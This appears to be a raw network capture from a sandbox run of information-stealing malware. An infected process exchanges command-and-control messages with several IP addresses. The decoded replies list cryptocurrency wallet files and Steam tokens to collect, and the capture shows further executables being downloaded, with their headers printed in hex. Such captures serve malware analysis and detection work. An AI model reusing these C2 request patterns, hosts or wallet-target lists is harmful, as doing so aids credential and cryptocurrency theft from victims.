Nov 28, 2024 15:17:52.085416079 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="message"wallets------JJECFIECBGDGCAAAEHIE--
Nov 28, 2024 15:17:55.077826977 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:54 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 28, 2024 15:17:55.088654995 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="message"files------KFIJEGCBGIDGHIDHDGCB--
Nov 28, 2024 15:17:55.545742989 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 15:17:55.557503939 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="file"------KEHDBAEGIIIEBGCAAFHI--
Nov 28, 2024 15:17:56.504442930 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 15:17:56.533145905 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"ybncbhylepme------BFBGHDGCFHIDBGDGIIIE--
Nov 28, 2024 15:17:56.991282940 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49887	185.215.113.16	80	5684	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:17:57.116391897 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 28, 2024 15:17:58.511034012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 14:17:58 GMT Content-Type: application/octet-stream Content-Length: 1886720 Last-Modified: Thu, 28 Nov 2024 13:55:49 GMT Connection: keep-alive ETag: "67487665-1cca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@K+@WkD$JJ @.rsrcD@.idata @ p*@ckxzyosv 1@hvcuhzosJ@.taggant0J"@
Nov 28, 2024 15:17:58.511074066 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 15:17:58.512200117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 15:17:58.512265921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 15:17:58.512275934 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 15:17:58.513639927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 28, 2024 15:17:58.513710022 CET	1236	IN	Data Raw: 7b a4 7a b7 7a f6 2d d1 f8 71 9d ad 7b ed 34 fe a1 d1 9e d1 8b 60 79 ba 54 17 da c7 3e e5 3c 7d 94 e1 30 91 6d 75 bf c6 8a dd 9c 93 e1 bd 3d 96 b0 67 2e c6 a2 cd 93 39 80 a1 72 18 fa d1 56 51 16 71 70 c2 62 51 9b 97 21 bd 9d 51 7a e0 83 a0 32 21 Data Ascii: {zz-q{4`yT><}0mu=g.9rVQqpbQ!Qz2!X.oavX$!6eN?"Z"nJ}n41=?y./9K$!i/pb3h4"o@?*1b~jXOj/~}]wOE
Nov 28, 2024 15:17:58.513722897 CET	1236	IN	Data Raw: a5 15 d0 51 bd f9 91 85 a8 89 c7 46 ac c4 6b 46 a9 33 04 3a 6f 81 04 f6 48 54 e9 5e 25 c3 2d a4 02 06 c3 8d 58 3a 19 91 a7 6b 5b 61 06 29 d0 40 6e 92 3d d6 e6 82 7c 03 7e 73 5b f6 98 a8 76 d5 2a 29 57 01 aa d7 f8 f2 bb 0a 08 ff 30 c1 d2 03 2b 9e Data Ascii: QFkF3:oHT^%-X:k[a)@n=\|~s[v)W0+(ualhl7=riaZA3i#GTT2KoGU~c]3o1Kr!sbja}6,jKNwrNR(:w.7'b.+5*D{=0(>!)
Nov 28, 2024 15:17:58.513732910 CET	372	IN	Data Raw: 72 99 37 f5 42 0d 90 f9 f1 81 98 a8 d2 f2 ea e2 c5 a5 62 26 26 a2 02 dc 80 71 00 a6 a3 b6 44 bb 38 9c ed 8d 87 d8 eb b2 03 12 29 82 80 d1 99 01 20 e4 80 b0 62 bf 03 f6 8a bc 3a 8c 08 79 f7 6c 87 f4 35 dd 1e af 2e 88 ab ed d7 c0 55 3d a6 28 4b d4 Data Ascii: r7Bb&&qD8) b:yl5.U=(Kbfqo$"mb6KzoZeR?n2A5trV>p=7sco}[=~D0IDyH#Af3dz;@SoyZ_W{n=zs}KuJ33]3~i*GmM
Nov 28, 2024 15:17:58.514653921 CET	1236	IN	Data Raw: e8 dd 2a a3 49 b3 28 ad 5f 5d 74 9c 8f 4e af 96 d6 94 1a 81 ee e8 c1 22 e1 34 f7 96 9f bc ba 56 e7 74 80 76 a0 7e a4 84 c2 42 56 49 56 17 41 85 21 84 5b 96 13 30 d4 cd 75 23 06 15 3c ab 5f 01 d0 37 4c c4 e7 dd 4b 9a 6e 3f ce 34 3f 11 4c 38 ab 7c Data Ascii: I(_]tN"4Vtv~BVIVA![0u#<_7LKn?4?L8\|C4/u_ifV,4>9x.jl [22s)HG(*1>.-Ofii?f_$_rK+YlHXRWpuG-9cz]i=u,Oz
Nov 28, 2024 15:17:58.631144047 CET	1236	IN	Data Raw: af 99 0e aa e6 b6 44 aa e6 86 9b 1d 34 05 29 0b d1 d7 26 c5 67 c9 44 11 6d 46 61 f6 2d 72 18 ba 45 de 7e e6 ee b0 df 03 35 6b 37 ca 25 5e d3 91 a9 87 67 7c 96 99 63 aa 6e c3 7a 38 e2 c7 53 69 73 08 63 b0 4a a1 03 2a f4 b0 16 ad 8e 70 22 98 89 a1 Data Ascii: D4)&gDmFa-rE~5k7%^g\|cnz8SiscJ*p"xMzSyiF?EIOgs29KOpb,(b-Dx[Pz\|<mEhR@D-GBW)fy&%m[>WZb;D^>WRx;Sze`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49897	185.215.113.206	80	5684	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:18:02.249249935 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCFBGDHJKFIEBFIECGH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGCFBGDHJKFIEBFIECGH--
Nov 28, 2024 15:18:04.119426966 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:18:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49920	185.215.113.43	80	6888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:19:04.473520994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 28, 2024 15:19:05.852444887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 14:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49921	185.215.113.43	80	6888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:19:07.479155064 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 28, 2024 15:19:08.891544104 CET	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 14:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 30 64 0d 0a 20 3c 63 3e 31 30 30 39 39 30 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 65 63 61 31 31 31 39 65 64 30 35 62 32 31 39 31 36 30 33 35 62 39 61 64 39 65 35 34 39 61 36 66 35 39 61 35 35 33 36 65 36 23 31 30 30 39 39 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 39 31 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 30 39 39 31 32 30 30 31 2b 2b 2b 62 35 [TRUNCATED] Data Ascii: 30d <c>1009905001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2eca1119ed05b21916035b9ad9e549a6f59a5536e6#1009906001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1009911001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1009912001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1009913001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009914001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009915001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009916001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49922	31.41.244.11	80	6888	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:19:09.018832922 CET	66	OUT	GET /files/6180536652/nbea1t8.exe HTTP/1.1 Host: 31.41.244.11
Nov 28, 2024 15:19:10.446943998 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 28 Nov 2024 14:19:10 GMT Content-Type: application/octet-stream Content-Length: 1455104 Last-Modified: Thu, 28 Nov 2024 13:27:45 GMT Connection: keep-alive ETag: "67486fd1-163400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ac 5a ce 45 00 00 00 00 00 00 00 00 e0 00 2e 03 0b 01 02 26 00 da 0f 00 00 30 16 00 00 04 00 00 80 14 00 00 00 10 00 00 00 f0 0f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 16 00 00 04 00 00 37 4a 16 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 98 29 00 00 00 f0 15 00 10 16 00 